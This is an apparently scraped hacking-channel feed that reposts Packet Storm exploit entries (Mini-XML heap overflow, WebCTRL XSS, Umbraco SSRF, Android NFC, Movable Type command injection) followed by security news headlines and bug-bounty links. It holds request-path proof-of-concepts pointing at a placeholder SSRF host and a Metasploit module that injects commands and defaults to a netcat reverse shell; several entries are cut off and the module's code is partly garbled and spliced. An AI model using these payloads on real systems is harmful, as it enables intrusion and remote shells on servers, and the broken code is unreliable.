Exploit Collector
Mini-XML 3.2 Heap Overflow

https://2.bp.blogspot.com/-v3K-Hxbn0Es/WWlvhvX1clI/AAAAAAAAIQY/UsJ0X_N1RWgdGsUiiIhYa-pG6QWPEsSmwCLcBGAs/s1600/h91.png
Mini-XML version 3.2 suffers from a heap overflow vulnerability.

MD5 | e0337ff754d4ab2bcf03b81e9a3f4a1e

Download
# Exploit Title: Mini-XML 3.2 - Heap Overflow
# Google Dork: mxml Mini-xml Mini-XML
# Date: 2020.10.19
# Exploit Author: LIWEI
# Vendor Homepage: https://www.msweet.org/mxml/
# Software Link: https://github.com/michaelrsweet/mxml
# Version: v3.2
# Tested on: ubuntu 18.04.2

# 1.- compile the Mini-XML code to a library use compile line"clang -g -O0 -fno-omit-frame-pointer -gline-tables-only -fsanitize=address -fsanitize-address-use-after-scope -fsanitize=fuzzer-no-link".
# 2.- compile my testcase and link them to a binary use compile line "clang -g -O0 -fno-omit-frame-pointer -gline-tables-only -fsanitize=address -fsanitize-address-use-after-scope -fsanitize=fuzzer". In my testcase, I use the API "mxmlLoadString" to parse a string.
# 3.- run the binary for a short time.crash. because the "mxml_string_getc" didn't versify the string's length and cause buffer-overflow.
# 4.- Here are the crash backtrace.

=================================================================
==6265==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x612000000a73 at pc 0x000000558e2d bp 0x7ffe13e2caa0 sp 0x7ffe13e2ca98
READ of size 1 at 0x612000000a73 thread T0
#0 in mxml_string_getc /opt/mnt/software/mxml32/mxml-file.c:2422:13
#1 in mxml_load_data /opt/mnt/software/mxml32/mxml-file.c:1558:20
#2 in mxmlLoadString /opt/mnt/software/mxml32/mxml-file.c:180:11
#3 in LLVMFuzzerTestOneInput /opt/mnt/software/mxml32/mxml_fuzzer.cpp:12:8
#4 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/opt/mnt/software/mxml32/a.out+0x42f357)
#5 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/opt/mnt/software/mxml32/a.out+0x41f7ea)
#6 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/opt/mnt/software/mxml32/a.out+0x42a7b0)
#7 in main (/opt/mnt/software/mxml32/a.out+0x41d4b2)
#8 in __libc_start_main /build/glibc-S9d2JN/glibc-2.27/csu/../csu/libc-start.c:310
#9 in _start (/opt/mnt/software/mxml32/a.out+0x41d529)
# 6.- Here are my testcase.

#include
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WebCTRL OEM 6.5 Cross Site Scripting

https://2.bp.blogspot.com/-v3K-Hxbn0Es/WWlvhvX1clI/AAAAAAAAIQY/UsJ0X_N1RWgdGsUiiIhYa-pG6QWPEsSmwCLcBGAs/s1600/h91.png
WebCTRL OEM version 6.5 suffers from a cross site scripting vulnerability.

MD5 | ac56809d778f5779efeadfa3fa8e7c1d

Download
# Exploit Title: WebCTRL OEM 6.5 - 'locale' Reflected Cross-Site Scripting (XSS)
# Date: 4/07/2021
# Exploit Author: 3ndG4me
# Vendor Homepage: https://www.automatedlogic.com/en/products/webctrl-building-automation-system/
# Version: 6.5 and Below
# CVE : CVE-2021-31682

--Summary--

The login portal for the Automated Logic WebCTRL/WebCTRL OEM web application contains a vulnerability that allows for reflected XSS attacks due to the operatorlocale GET parameter not being sanitized.

Automated Logic
https://www.automatedlogic.com/en/products-services/webctrl-building-automation-system/

--Affects--

- WebCTRL OEM
- Versions 6.5 and prior

--Details--

The login portal for the Automated Logic WebCTRL/WebCTRL OEM web application contains a vulnerability that allows for reflected XSS attacks due to the operatorlocale GET parameter not being sanitized. This issue impacts versions 6.5 and below. This issue works by passing in a basic XSS payload to a vulnerable GET parameter that is reflected in the output without sanitization. This can allow for several issues including but not limited to:

- Hijacking a user's session
- Using XSS payloads to capture input (keylogging)
-- Proof of Concept --
The following URL parameter was impacted and can be exploited with the sample payload provided below:
- https://example.com/index.jsp?operatorlocale=en/>

--Mitigation--

Sanitize any user controlled input in both form fields and URL parameters to properly encode data so it is not rendered as arbitrary HTML/JavaScript.

--Timeline--

- 4/07/2021: XSS Vulnerability was discovered and documented.
- 4/17/2021: A temporary CVE identifier was requested by MITRE. Automated Logic was also notified with the full details of each finding via their product security contact at https://www.automatedlogic.com/en/about/security-commitment/. A baseline 90 day disclosure timeline was established in the initial communication.
- 7/23/2021: MITRE Assigns CVE ID CVE-2021-31682 to the vulnerability.
- 9/08/2021: Automated Logic formally responds requesting the CVE identifier and states that the issue should be patched in newer versions of the product.
- 10/20/2021: The researcher responds with the CVE identifier and a request for all impacted version numbers so they can release a more accurate impacted list of products when full disclosure occurs. Automate Logic responds with a list of impacted versions the same day, and the researcher publicly discloses the issue and submits a CVE details update request to MTIRE.


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Umbraco 8.14.1 Server-Side Request Forgery

https://2.bp.blogspot.com/-uXp9StI5Rh0/WWlvYIMdqaI/AAAAAAAAIOg/mHe50EJovPcz8di_9Up4vC4YPRAZ9BUbwCLcBGAs/s1600/h55.png
Umbraco version 8.14.1 suffers from a server-side request forgery vulnerability.

MD5 | 56c7bdf5153af0c96a659fa68f9059d1

Download
# Exploit Title: Umbraco v8.14.1 - 'baseUrl' SSRF
# Date: July 5, 2021
# Exploit Author: NgoAnhDuc
# Vendor Homepage: https://our.umbraco.com/
# Software Link: https://our.umbraco.com/download/releases/8141
# Version: v8.14.1
# Affect: Umbraco CMS v8.14.1, Umbraco Cloud

Vulnerable code:

Umbraco.Web.Editors.HelpController.GetContextHelpForPage():
https://github.com/umbraco/Umbraco-CMS/blob/710ecf2537a8630d00db793877d5c169c5cf8095/src/Umbraco.Web/Editors/HelpController.cs#L14
Umbraco.Web.Editors.DashboardController.GetRemoteDashboardContent():
https://github.com/umbraco/Umbraco-CMS/blob/710ecf2537a8630d00db793877d5c169c5cf8095/src/Umbraco.Web/Editors/DashboardController.cs#L50
Umbraco.Web.Editors.DashboardController.GetRemoteDashboardCss():
https://github.com/umbraco/Umbraco-CMS/blob/710ecf2537a8630d00db793877d5c169c5cf8095/src/Umbraco.Web/Editors/DashboardController.cs#L91

PoC:

/umbraco/BackOffice/Api/Help/GetContextHelpForPage?section=content&tree=undefined&baseUrl=https://SSRF-HOST.EXAMPLE
/umbraco/backoffice/UmbracoApi/Dashboard/GetRemoteDashboardContent?section=TryToAvoidGetCacheItem111&baseUrl=
https://SSRF-HOST.EXAMPLE/
/umbraco/backoffice/UmbracoApi/Dashboard/GetRemoteDashboardCss?section=AvoidGetCacheItem&baseUrl=https://SSRF-HOST.EXAMPLE/

Notes:
- There's no "/" suffix in payload 1
- "/" suffix is required in payload 2 and payload 3
- "section" parameter value must be changed each exploit attempt

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Android NFC Type Confusion

https://3.bp.blogspot.com/-PWecZP4mFlw/WWlvEzu2ALI/AAAAAAAAILE/oNE1-kA8UGAvJ1jZSurfN5UYJhXI-p6VQCLcBGAs/s1600/h134.png
Android NFC suffers from a type confusion vulnerability due to a race condition during a tag type change.

MD5 | 494a9f73dba12ce43174446f59b9df77

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress NextScripts: Social Networks Auto-Poster 4.3.20 XSS

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Movable Type 7 r.5002 XMLRPC API Remote Command Injection

https://4.bp.blogspot.com/-B5GiRC1v-wQ/WWlu5E53nEI/AAAAAAAAIJE/W3BLkm7Hy_YnB0vtTzhGYY_ZESaF8C84ACLcBGAs/s1600/h105.png
This Metasploit module exploits an XML-RPC API OS command injection vulnerability in Movable Type 7 version r.5002.

MD5 | 83ce14432ae3af4b8694eee10e1b892c

Download
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Movable Type XMLRPC API Remote Command Injection",
'Description' => %q{
This module exploit Movable Type XMLRPC API Remote Command Injection.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Etienne Gervais', # author & msf module,
'Charl-Alexandre Le Brun' # author & msf module
],
'References' =>
[
['CVE', '2021-20837'],
['URL', 'https://movabletype.org/'],
['URL', 'https://nemesis.sh/']
],
'DefaultOptions' =>
{
'SSL' => false,
},
'Platform' => ['linux'],
'Arch' => ARCH_CMD,
'Privileged' => false,
'DisclosureDate' => "2021-10-20",
'DefaultTarget' => 0,
'Targets' => [
[
'Automatic (Unix In-Memory)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' }
}
]
]
))
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [ true, 'The URI of the MovableType', '/cgi-bin/mt/'])
], self.class
)
end

def cmd_to_xml(cmd, opts={})
base64_cmd = Rex::Text.encode_base64("`"+cmd+"`")
xml_body =
'POST',
'uri' => normalize_uri(target_uri.path,'mt-xmlrpc.cgi'),
'ctype' => 'text/xml; charset=UTF-8',
'data' => command_payload
})

fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}") if res.code != 200

if res && res.body.include?("Can't locate "+fingerprint)
return Exploit::CheckCode::Vulnerable
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
Exploit::CheckCode::Safe
end

def exploit
begin
command_payload = cmd_to_xml(payload.raw)

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,'mt-xmlrpc.cgi'),
'ctype' => 'text/xml; charset=UTF-8',
'data' => command_payload
})

rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end

end
end

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
A Treehouse of Security Horrors

True-life horrors from conversations with software engineers and developers. D'oh!

Dark Reading: Attacks/Breaches
What Exactly Is Secure Access Service Edge (SASE)?

Any company that supports a hybrid workforce should at least be familiar with this relatively new security approach.

Dark Reading: Attacks/Breaches
Cybercriminals Take Aim at Connected Car Infrastructure

While car makers are paying more attention to cybersecurity, the evolution of automobiles into "software platforms on wheels" and the quick adoption of new features has put connected cars in the crosshairs.

Create a proxy DLL with artifact kit - Cobalt Strike Research and Development
https://www.reddit.com/r/redteamsec/comments/qiieew/create_a_proxy_dll_with_artifact_kit_cobalt/

submitted by /u/dmchell (https://www.reddit.com/user/dmchell)
[link] (https://blog.cobaltstrike.com/2021/10/29/create-a-proxy-dll-with-artifact-kit/) [comments] (https://www.reddit.com/r/redteamsec/comments/qiieew/create_a_proxy_dll_with_artifact_kit_cobalt/)

___________________________
@hacking_Attack
@Hacking_Video

From ‘Gabut’ to Hall of Fame: U.S. Department of Energy
https://medium.com/@ngoekoep/from-gabut-to-hall-of-fame-u-s-department-of-energy-b87a975ce6d9?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Pada kesempatan kali ini, saya akan menceritakan sedikit pengalaman saya masuk ke dalam Hall of Fame (HOF) U.S. Department of Energy..Continue reading on Medium » (https://medium.com/@ngoekoep/from-gabut-to-hall-of-fame-u-s-department-of-energy-b87a975ce6d9?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

From ‘Gabut’ to Hall of Fame #2: U.S. Courts Federal Judiciary
https://medium.com/@ngoekoep/from-gabut-to-hall-of-fame-2-u-s-courts-federal-judiciary-7f7496648b1c?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Pada kesempatan kali ini saya akan menceritakan tentang pengalaman saya dalam menemukan celah keamanan pada situs milik U.S. Courts..Continue reading on Medium » (https://medium.com/@ngoekoep/from-gabut-to-hall-of-fame-2-u-s-courts-federal-judiciary-7f7496648b1c?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video